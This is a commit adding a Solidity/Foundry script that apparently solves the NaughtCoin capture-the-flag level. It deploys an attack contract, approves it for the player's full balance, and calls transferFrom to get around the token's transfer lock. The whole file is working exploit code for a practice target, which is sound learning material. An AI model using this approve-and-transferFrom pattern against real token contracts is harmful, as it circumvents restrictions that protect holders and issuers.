Create Lev15Sol.s.sol

Writeup/Clad/script/Lev15Sol.s.sol

@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "../src/NaughtCoin.sol";
+import "../lib/forge-std/src/Script.sol";
+import "../lib/forge-std/src/console.sol";
+
+// target 讓 player(你) 的餘額歸零
+// ERC-20 有兩種轉帳方式, transfer()、transferFrom()
+// 1.Player 授權代幣總供給數量給攻擊合約
+// 2.攻擊合約對關卡呼叫 transferFrom(), 把 Player 身上的代幣全部轉進攻擊合約, 就可以讓 Player 持有代幣歸零
+
+contract attackCon {
+    NaughtCoin attackInstance;
+    constructor(address _attackInstance) {
+        attackInstance = NaughtCoin(_attackInstance);
+    }
+
+    function attack() external {
+        (bool result, ) = address(attackInstance).call(
+            abi.encodeWithSignature(
+                "transferFrom(address,address,uint256)",
+                msg.sender,
+                address(this),
+                1000000 * (10 ** 18)
+            )
+        );
+        if (result) {}
+    }
+}
+contract Lev15Sol is Script {
+    NaughtCoin public Lev15Instance =
+        NaughtCoin(0x68D6F76F3A83Cae5e6731302B824312519a345F5);
+    function run() external {
+        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
+
+        attackCon myattack = new attackCon(address(Lev15Instance));
+        IERC20(address(Lev15Instance)).approve(
+            address(myattack),
+            1000000 * (10 ** 18)
+        );
+        myattack.attack();
+
+        vm.stopBroadcast();
+    }
+}